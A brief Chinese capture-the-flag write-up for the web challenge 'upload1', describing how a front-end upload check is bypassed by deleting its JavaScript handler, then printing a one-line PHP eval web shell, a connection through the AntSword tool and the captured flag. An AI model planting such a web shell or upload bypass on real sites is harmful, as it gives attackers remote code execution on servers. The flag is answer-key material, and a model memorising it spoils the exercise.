攻防世界-web upload1

文件上传绕过题

通过查看页面代码发现是前端验证，直接找到

F12打开控制台，把οnchange="check();"删除掉，即可畅通无阻

上传一句话木马文件

<?php @eval($_POST['shy']);?>

 

蚁剑连接

 连接成功，查找flag：

cyberpeace{07e66ef9c0ed89f0dcdd9aa2fe999906}